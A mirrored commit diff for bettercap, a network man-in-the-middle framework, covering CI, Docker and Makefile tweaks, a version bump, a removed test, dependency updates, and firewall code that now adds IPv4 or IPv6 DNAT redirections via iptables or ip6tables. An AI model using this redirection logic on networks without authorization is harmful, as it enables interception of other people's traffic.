mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 21:43:18 -07:00
Merge 21692be61f
into 568c166fe1
This commit is contained in:
commit
15ce350767
46 changed files with 785 additions and 512 deletions
|
@ -83,6 +83,7 @@ matrix:
|
|||
- name: OSX - amd64
|
||||
if: tag IS present
|
||||
os: osx
|
||||
osx_image: xcode12.5
|
||||
arch: amd64
|
||||
addons:
|
||||
homebrew:
|
||||
|
@ -142,6 +143,7 @@ matrix:
|
|||
- name: OSX - tests
|
||||
if: tag IS blank
|
||||
os: osx
|
||||
osx_image: xcode12.5
|
||||
arch: amd64
|
||||
allow_failures:
|
||||
- go: master
|
||||
|
|
|
@ -3,8 +3,8 @@ FROM golang:alpine AS build-env
|
|||
|
||||
ENV SRC_DIR $GOPATH/src/github.com/bettercap/bettercap
|
||||
|
||||
RUN apk add --update ca-certificates
|
||||
RUN apk add --no-cache --update bash iptables wireless-tools build-base libpcap-dev libusb-dev linux-headers libnetfilter_queue-dev git
|
||||
RUN apk add --no-cache ca-certificates
|
||||
RUN apk add --no-cache bash iptables wireless-tools build-base libpcap-dev libusb-dev linux-headers libnetfilter_queue-dev git
|
||||
|
||||
WORKDIR $SRC_DIR
|
||||
ADD . $SRC_DIR
|
||||
|
@ -16,8 +16,8 @@ RUN git clone https://github.com/bettercap/caplets /usr/local/share/bettercap/ca
|
|||
|
||||
# final stage
|
||||
FROM alpine
|
||||
RUN apk add --update ca-certificates
|
||||
RUN apk add --no-cache --update bash iproute2 libpcap libusb-dev libnetfilter_queue wireless-tools
|
||||
RUN apk add --no-cache ca-certificates
|
||||
RUN apk add --no-cache bash iproute2 libpcap libusb-dev libnetfilter_queue wireless-tools
|
||||
COPY --from=build-env /go/src/github.com/bettercap/bettercap/bettercap /app/
|
||||
COPY --from=build-env /usr/local/share/bettercap/caplets /app/
|
||||
WORKDIR /app
|
||||
|
|
15
Makefile
15
Makefile
|
@ -2,15 +2,14 @@ TARGET ?= bettercap
|
|||
PACKAGES ?= core firewall log modules network packets session tls
|
||||
PREFIX ?= /usr/local
|
||||
GO ?= go
|
||||
GOFLAGS ?=
|
||||
|
||||
all: build
|
||||
|
||||
build: resources
|
||||
$(GO) $(GOFLAGS) build -o $(TARGET) .
|
||||
$(GOFLAGS) $(GO) build -o $(TARGET) .
|
||||
|
||||
build_with_race_detector: resources
|
||||
$(GO) $(GOFLAGS) build -race -o $(TARGET) .
|
||||
$(GOFLAGS) $(GO) build -race -o $(TARGET) .
|
||||
|
||||
resources: network/manuf.go
|
||||
|
||||
|
@ -18,20 +17,20 @@ network/manuf.go:
|
|||
@python3 ./network/make_manuf.py
|
||||
|
||||
install:
|
||||
@mkdir -p $(PREFIX)/share/bettercap/caplets
|
||||
@cp bettercap $(PREFIX)/bin/
|
||||
@mkdir -p $(DESTDIR)$(PREFIX)/share/bettercap/caplets
|
||||
@cp bettercap $(DESTDIR)$(PREFIX)/bin/
|
||||
|
||||
docker:
|
||||
@docker build -t bettercap:latest .
|
||||
|
||||
test:
|
||||
$(GO) $(GOFLAGS) test -covermode=atomic -coverprofile=cover.out ./...
|
||||
$(GOFLAGS) $(GO) test -covermode=atomic -coverprofile=cover.out ./...
|
||||
|
||||
html_coverage: test
|
||||
$(GO) $(GOFLAGS) tool cover -html=cover.out -o cover.out.html
|
||||
$(GOFLAGS) $(GO) tool cover -html=cover.out -o cover.out.html
|
||||
|
||||
benchmark: server_deps
|
||||
$(GO) $(GOFLAGS) test -v -run=doNotRunTests -bench=. -benchmem ./...
|
||||
$(GOFLAGS) $(GO) test -v -run=doNotRunTests -bench=. -benchmem ./...
|
||||
|
||||
fmt:
|
||||
$(GO) fmt -s -w $(PACKAGES)
|
||||
|
|
|
@ -2,7 +2,7 @@ package core
|
|||
|
||||
const (
|
||||
Name = "bettercap"
|
||||
Version = "2.31.0"
|
||||
Version = "2.32.0"
|
||||
Author = "Simone 'evilsocket' Margaritelli"
|
||||
Website = "https://bettercap.org/"
|
||||
)
|
||||
|
|
|
@ -41,7 +41,7 @@ func Exec(executable string, args []string) (string, error) {
|
|||
|
||||
raw, err := exec.Command(path, args...).CombinedOutput()
|
||||
if err != nil {
|
||||
return "", err
|
||||
return str.Trim(string(raw)), err
|
||||
} else {
|
||||
return str.Trim(string(raw)), nil
|
||||
}
|
||||
|
|
|
@ -1,13 +1,10 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"github.com/evilsocket/islazy/fs"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
)
|
||||
|
||||
func hasInt(a []int, v int) bool {
|
||||
|
@ -81,85 +78,6 @@ func TestCoreUniqueIntsSorted(t *testing.T) {
|
|||
}
|
||||
}
|
||||
|
||||
func sameStrings(a []string, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i, v := range a {
|
||||
if v != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func TestCoreExec(t *testing.T) {
|
||||
var units = []struct {
|
||||
exec string
|
||||
args []string
|
||||
out string
|
||||
err string
|
||||
stdout string
|
||||
}{
|
||||
{"foo", []string{}, "", `exec: "foo": executable file not found in $PATH`, ""},
|
||||
{"ps", []string{"-someinvalidflag"}, "", "exit status 1", ""},
|
||||
{"true", []string{}, "", "", ""},
|
||||
{"head", []string{"/path/to/file/that/does/not/exist"}, "", "exit status 1", ""},
|
||||
}
|
||||
|
||||
for _, u := range units {
|
||||
var buf bytes.Buffer
|
||||
|
||||
oldStdout := os.Stdout
|
||||
r, w, _ := os.Pipe()
|
||||
os.Stdout = w
|
||||
|
||||
gotOut, gotErr := Exec(u.exec, u.args)
|
||||
w.Close()
|
||||
io.Copy(&buf, r)
|
||||
os.Stdout = oldStdout
|
||||
|
||||
gotStdout := str.Trim(buf.String())
|
||||
if gotOut != u.out {
|
||||
t.Fatalf("expected output '%s', got '%s'", u.out, gotOut)
|
||||
} else if u.err == "" && gotErr != nil {
|
||||
t.Fatalf("expected no error, got '%s'", gotErr)
|
||||
} else if u.err != "" && gotErr == nil {
|
||||
t.Fatalf("expected error '%s', got none", u.err)
|
||||
} else if u.err != "" && gotErr != nil && gotErr.Error() != u.err {
|
||||
t.Fatalf("expected error '%s', got '%s'", u.err, gotErr)
|
||||
} else if gotStdout != "" {
|
||||
t.Fatalf("expected empty stdout, got '%s'", gotStdout)
|
||||
}
|
||||
}
|
||||
|
||||
for _, u := range units {
|
||||
var buf bytes.Buffer
|
||||
|
||||
oldStdout := os.Stdout
|
||||
r, w, _ := os.Pipe()
|
||||
os.Stdout = w
|
||||
|
||||
gotOut, gotErr := Exec(u.exec, u.args)
|
||||
w.Close()
|
||||
io.Copy(&buf, r)
|
||||
os.Stdout = oldStdout
|
||||
|
||||
gotStdout := str.Trim(buf.String())
|
||||
if gotOut != u.out {
|
||||
t.Fatalf("expected output '%s', got '%s'", u.out, gotOut)
|
||||
} else if u.err == "" && gotErr != nil {
|
||||
t.Fatalf("expected no error, got '%s'", gotErr)
|
||||
} else if u.err != "" && gotErr == nil {
|
||||
t.Fatalf("expected error '%s', got none", u.err)
|
||||
} else if u.err != "" && gotErr != nil && gotErr.Error() != u.err {
|
||||
t.Fatalf("expected error '%s', got '%s'", u.err, gotErr)
|
||||
} else if gotStdout != u.stdout {
|
||||
t.Fatalf("expected stdout '%s', got '%s'", u.stdout, gotStdout)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoreExists(t *testing.T) {
|
||||
var units = []struct {
|
||||
what string
|
||||
|
|
|
@ -1,6 +1,8 @@
|
|||
package core
|
||||
|
||||
import "flag"
|
||||
import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
type Options struct {
|
||||
InterfaceName *string
|
||||
|
@ -18,6 +20,7 @@ type Options struct {
|
|||
MemProfile *string
|
||||
CapletsPath *string
|
||||
Script *string
|
||||
PcapBufSize *int
|
||||
}
|
||||
|
||||
func ParseOptions() (Options, error) {
|
||||
|
@ -37,6 +40,7 @@ func ParseOptions() (Options, error) {
|
|||
MemProfile: flag.String("mem-profile", "", "Write memory profile to `file`."),
|
||||
CapletsPath: flag.String("caplets-path", "", "Specify an alternative base path for caplets."),
|
||||
Script: flag.String("script", "", "Load a session script."),
|
||||
PcapBufSize: flag.Int("pcap-buf-size", -1, "PCAP buffer size, leave to 0 for the default value."),
|
||||
}
|
||||
|
||||
flag.Parse()
|
||||
|
|
|
@ -4,6 +4,7 @@ import (
|
|||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/core"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
|
@ -73,10 +74,18 @@ func (f LinuxFirewall) EnableForwarding(enabled bool) error {
|
|||
|
||||
func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) {
|
||||
action := "-A"
|
||||
destination := ""
|
||||
|
||||
if !enabled {
|
||||
action = "-D"
|
||||
}
|
||||
|
||||
if strings.Count(r.DstAddress, ":") < 2 {
|
||||
destination = r.DstAddress
|
||||
} else {
|
||||
destination = fmt.Sprintf("[%s]", r.DstAddress)
|
||||
}
|
||||
|
||||
if r.SrcAddress == "" {
|
||||
cmdLine = []string{
|
||||
"-t", "nat",
|
||||
|
@ -85,7 +94,7 @@ func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []
|
|||
"-p", r.Protocol,
|
||||
"--dport", fmt.Sprintf("%d", r.SrcPort),
|
||||
"-j", "DNAT",
|
||||
"--to", fmt.Sprintf("%s:%d", r.DstAddress, r.DstPort),
|
||||
"--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
|
||||
}
|
||||
} else {
|
||||
cmdLine = []string{
|
||||
|
@ -96,7 +105,7 @@ func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []
|
|||
"-d", r.SrcAddress,
|
||||
"--dport", fmt.Sprintf("%d", r.SrcPort),
|
||||
"-j", "DNAT",
|
||||
"--to", fmt.Sprintf("%s:%d", r.DstAddress, r.DstPort),
|
||||
"--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -107,6 +116,13 @@ func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
|
|||
cmdLine := f.getCommandLine(r, enabled)
|
||||
rkey := r.String()
|
||||
_, found := f.redirections[rkey]
|
||||
cmd := ""
|
||||
|
||||
if strings.Count(r.DstAddress, ":") < 2 {
|
||||
cmd = "iptables"
|
||||
} else {
|
||||
cmd = "ip6tables"
|
||||
}
|
||||
|
||||
if enabled {
|
||||
if found {
|
||||
|
@ -116,9 +132,9 @@ func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
|
|||
f.redirections[rkey] = r
|
||||
|
||||
// accept all
|
||||
if _, err := core.Exec("iptables", []string{"-P", "FORWARD", "ACCEPT"}); err != nil {
|
||||
if _, err := core.Exec(cmd, []string{"-P", "FORWARD", "ACCEPT"}); err != nil {
|
||||
return err
|
||||
} else if _, err := core.Exec("iptables", cmdLine); err != nil {
|
||||
} else if _, err := core.Exec(cmd, cmdLine); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
|
@ -128,7 +144,7 @@ func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
|
|||
|
||||
delete(f.redirections, r.String())
|
||||
|
||||
if _, err := core.Exec("iptables", cmdLine); err != nil {
|
||||
if _, err := core.Exec(cmd, cmdLine); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
|
35
go.mod
35
go.mod
|
@ -1,13 +1,13 @@
|
|||
module github.com/bettercap/bettercap
|
||||
|
||||
go 1.12
|
||||
go 1.16
|
||||
|
||||
require (
|
||||
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d
|
||||
github.com/adrianmo/go-nmea v1.3.0
|
||||
github.com/antchfx/jsonquery v1.1.4
|
||||
github.com/antchfx/xpath v1.1.11 // indirect
|
||||
github.com/bettercap/gatt v0.0.0-20210412143611-7a3c1c59fe92
|
||||
github.com/antchfx/xpath v1.2.0 // indirect
|
||||
github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67
|
||||
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb
|
||||
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf
|
||||
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3
|
||||
|
@ -15,7 +15,7 @@ require (
|
|||
github.com/chzyer/logex v1.1.10 // indirect
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
|
||||
github.com/dustin/go-humanize v1.0.0
|
||||
github.com/elazarl/goproxy v0.0.0-20210110162100-a92cc753f88e
|
||||
github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e // indirect
|
||||
github.com/evilsocket/islazy v1.10.6
|
||||
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe
|
||||
|
@ -24,34 +24,25 @@ require (
|
|||
github.com/google/go-github v17.0.0+incompatible
|
||||
github.com/google/go-querystring v1.1.0 // indirect
|
||||
github.com/google/gopacket v1.1.19
|
||||
github.com/google/gousb v2.1.0+incompatible
|
||||
github.com/google/gousb v1.1.2
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/gorilla/websocket v1.4.2
|
||||
github.com/hashicorp/mdns v1.0.3
|
||||
github.com/hashicorp/mdns v1.0.4
|
||||
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
|
||||
github.com/jpillora/go-tld v1.1.1
|
||||
github.com/koppacetic/go-gpsd v0.4.0
|
||||
github.com/kr/binarydist v0.1.0 // indirect
|
||||
github.com/kr/text v0.2.0 // indirect
|
||||
github.com/malfunkt/iprange v0.9.0
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
|
||||
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab // indirect
|
||||
github.com/miekg/dns v1.1.41
|
||||
github.com/miekg/dns v1.1.43
|
||||
github.com/mitchellh/go-homedir v1.1.0
|
||||
github.com/pkg/errors v0.9.1 // indirect
|
||||
github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac
|
||||
github.com/stretchr/testify v1.7.0 // indirect
|
||||
github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452
|
||||
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07
|
||||
github.com/thoj/go-ircevent v0.0.0-20190807115034-8e7ce4b5a1eb
|
||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 // indirect
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
|
||||
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
|
||||
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64
|
||||
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d
|
||||
golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
gopkg.in/sourcemap.v1 v1.0.5 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
|
||||
honnef.co/go/tools v0.0.0-2019.2.1 // indirect
|
||||
)
|
||||
|
|
197
go.sum
197
go.sum
|
@ -1,38 +1,16 @@
|
|||
github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8=
|
||||
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo=
|
||||
github.com/adrianmo/go-nmea v1.1.0 h1:0NILSj14nj6LvVQHo/afHbyPgGz5qvp5PM6jmMyAQzY=
|
||||
github.com/adrianmo/go-nmea v1.1.0/go.mod h1:HHPxPAm2kmev+61qmkZh7xgZF/7qHtSpsWppip2Ipv8=
|
||||
github.com/adrianmo/go-nmea v1.3.0 h1:BFrLRj/oIh+DYujIKpuQievq7X3NDHYq57kNgsfr2GY=
|
||||
github.com/adrianmo/go-nmea v1.3.0/go.mod h1:u8bPnpKt/D/5rll/5l9f6iDfeq5WZW0+/SXdkwix6Tg=
|
||||
github.com/antchfx/jsonquery v0.0.0-20180821084212-a2896be8c82b h1:oREWiN8d6BYorETYz2PH2Kk0CtUdp0RETyab7ep4jNY=
|
||||
github.com/antchfx/jsonquery v0.0.0-20180821084212-a2896be8c82b/go.mod h1:h7950pvPrUZzJIflNqsELgDQovTpPNa0rAHf8NwjegY=
|
||||
github.com/antchfx/jsonquery v1.0.0 h1:1Yhk496SrCoY6fJkFZqpXEqbwOw5sFtLns9la4NoK3I=
|
||||
github.com/antchfx/jsonquery v1.0.0/go.mod h1:h7950pvPrUZzJIflNqsELgDQovTpPNa0rAHf8NwjegY=
|
||||
github.com/antchfx/jsonquery v1.1.4 h1:+OlFO3QS9wjU0MKx9MgHm5f6o6hdd4e9mUTp0wTjxlM=
|
||||
github.com/antchfx/jsonquery v1.1.4/go.mod h1:cHs8r6Bymd8j6HI6Ej1IJbjahKvLBcIEh54dfmo+E9A=
|
||||
github.com/antchfx/xpath v1.0.0 h1:Q5gFgh2O40VTSwMOVbFE7nFNRBu3tS21Tn0KAWeEjtk=
|
||||
github.com/antchfx/xpath v1.0.0/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
|
||||
github.com/antchfx/xpath v1.1.0 h1:mJTvYpiHvxNQRD4Lbfin/FodHVCHh2a5KrOFr4ZxMOI=
|
||||
github.com/antchfx/xpath v1.1.0/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
|
||||
github.com/antchfx/xpath v1.1.7/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
|
||||
github.com/antchfx/xpath v1.1.10 h1:cJ0pOvEdN/WvYXxvRrzQH9x5QWKpzHacYO8qzCcDYAg=
|
||||
github.com/antchfx/xpath v1.1.10/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
|
||||
github.com/antchfx/xpath v1.1.11 h1:WOFtK8TVAjLm3lbgqeP0arlHpvCEeTANeWZ/csPpJkQ=
|
||||
github.com/antchfx/xpath v1.1.11/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
|
||||
github.com/bettercap/gatt v0.0.0-20190418085356-fac16c0ad797 h1:P9DK7Ij21WQAPFTUix8rblTVKDdwJEimCVO5foIr2ik=
|
||||
github.com/bettercap/gatt v0.0.0-20190418085356-fac16c0ad797/go.mod h1:xbRFD+l8RcbQ3DscCiYX0dgEnXbwozZgm6oP2GXic+0=
|
||||
github.com/bettercap/gatt v0.0.0-20191018133023-569d3d9372bb h1:GOaknHS3DCZcBbQRScDl6uecgkrkK7YFToIA5Uc6lHU=
|
||||
github.com/bettercap/gatt v0.0.0-20191018133023-569d3d9372bb/go.mod h1:xbRFD+l8RcbQ3DscCiYX0dgEnXbwozZgm6oP2GXic+0=
|
||||
github.com/bettercap/gatt v0.0.0-20210323182651-e1a2422767ff h1:P99kfm6Ll1/yNvxAl/j2vF6pDZZnbwG4ThZCIALWEXE=
|
||||
github.com/bettercap/gatt v0.0.0-20210323182651-e1a2422767ff/go.mod h1:t65axQjKQ5V+fav0omkETW5+OGOOPjV8b7q63/GF79E=
|
||||
github.com/bettercap/gatt v0.0.0-20210412143611-7a3c1c59fe92 h1:+cZAjtR7zFbFx5/Hoyxm7WKbhAZHvXqFj9C7oYQFj1s=
|
||||
github.com/bettercap/gatt v0.0.0-20210412143611-7a3c1c59fe92/go.mod h1:oafnPgaBI4gqJiYkueCyR4dqygiWGXTGOE0gmmAVeeQ=
|
||||
github.com/antchfx/xpath v1.2.0 h1:mbwv7co+x0RwgeGAOHdrKy89GvHaGvxxBtPK0uF9Zr8=
|
||||
github.com/antchfx/xpath v1.2.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
|
||||
github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67 h1:xzN6806c01hWTz8gjGsRjhOPlYj5/dNoZIR8CN9+O1c=
|
||||
github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67/go.mod h1:oafnPgaBI4gqJiYkueCyR4dqygiWGXTGOE0gmmAVeeQ=
|
||||
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb h1:JWAAJk4ny+bT3VrtcX+e7mcmWtWUeUM0xVcocSAUuWc=
|
||||
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb/go.mod h1:g6WiaSRgMTiChuk7jYyFSEtpgaw1F0wAsBfspG3bu0M=
|
||||
github.com/bettercap/readline v0.0.0-20180208083827-9cec905dd291 h1:6GtREdpf6N/trykGvhwfr0nyo3V/yncz0JvNbu+z7S8=
|
||||
github.com/bettercap/readline v0.0.0-20180208083827-9cec905dd291/go.mod h1:03rWiUf60r1miMVzMEtgtkq7RdZniecZFw3/Zgvyxcs=
|
||||
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf h1:pwGPRc5PIp4KCF9QbKn0iLVMhfigUMw4IzGZEZ81m1I=
|
||||
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf/go.mod h1:03rWiUf60r1miMVzMEtgtkq7RdZniecZFw3/Zgvyxcs=
|
||||
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3 h1:pC4ZAk7UtDIbrRKzMMiIL1TVkiKlgtgcJodqKB53Rl4=
|
||||
|
@ -49,27 +27,15 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
|
|||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/elazarl/goproxy v0.0.0-20190421051319-9d40249d3c2f h1:8GDPb0tCY8LQ+OJ3dbHb5sA6YZWXFORQYZx5sdsTlMs=
|
||||
github.com/elazarl/goproxy v0.0.0-20190421051319-9d40249d3c2f/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=
|
||||
github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484 h1:pEtiCjIXx3RvGjlUJuCNxNOw0MNblyR9Wi+vJGBFh+8=
|
||||
github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
|
||||
github.com/elazarl/goproxy v0.0.0-20200809112317-0581fc3aee2d h1:rtM8HsT3NG37YPjz8sYSbUSdElP9lUsQENYzJDZDUBE=
|
||||
github.com/elazarl/goproxy v0.0.0-20200809112317-0581fc3aee2d/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
|
||||
github.com/elazarl/goproxy v0.0.0-20210110162100-a92cc753f88e h1:/cwV7t2xezilMljIftb7WlFtzGANRCnoOhPjtl2ifcs=
|
||||
github.com/elazarl/goproxy v0.0.0-20210110162100-a92cc753f88e/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20190421051319-9d40249d3c2f h1:AUj1VoZUfhPhOPHULCQQDnGhRelpFWHMLhQVWDsS0v4=
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20190421051319-9d40249d3c2f/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2 h1:dWB6v3RcOy03t/bUadywsbyrQwCqZeNIEX6M1OtSZOM=
|
||||
github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4 h1:lS3P5Nw3oPO05Lk2gFiYUOL3QPaH+fRoI1wFOc4G1UY=
|
||||
github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e h1:CQn2/8fi3kmpT9BTiHEELgdxAOQNVZc9GoPA4qnQzrs=
|
||||
github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
|
||||
github.com/evilsocket/islazy v1.10.4 h1:Z5373Kn5Gh2EWch1Tb/Qxb6vyQ7lw704bmKi7sY4Ecs=
|
||||
github.com/evilsocket/islazy v1.10.4/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw=
|
||||
github.com/evilsocket/islazy v1.10.6 h1:MFq000a1ByoumoJWlytqg0qon0KlBeUfPsDjY0hK0bo=
|
||||
github.com/evilsocket/islazy v1.10.6/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw=
|
||||
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe h1:8P+/htb3mwwpeGdJg69yBF/RofK7c6Fjz5Ypa/bTqbY=
|
||||
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
|
@ -78,217 +44,106 @@ github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
|
|||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
|
||||
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
|
||||
github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk=
|
||||
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
|
||||
github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
|
||||
github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
|
||||
github.com/google/gopacket v1.1.17 h1:rMrlX2ZY2UbvT+sdz3+6J+pp2z+msCq9MxTU6ymxbBY=
|
||||
github.com/google/gopacket v1.1.17/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM=
|
||||
github.com/google/gopacket v1.1.18 h1:lum7VRA9kdlvBi7/v2p7/zcbkduHaCH/SVVyurs7OpY=
|
||||
github.com/google/gopacket v1.1.18/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM=
|
||||
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
|
||||
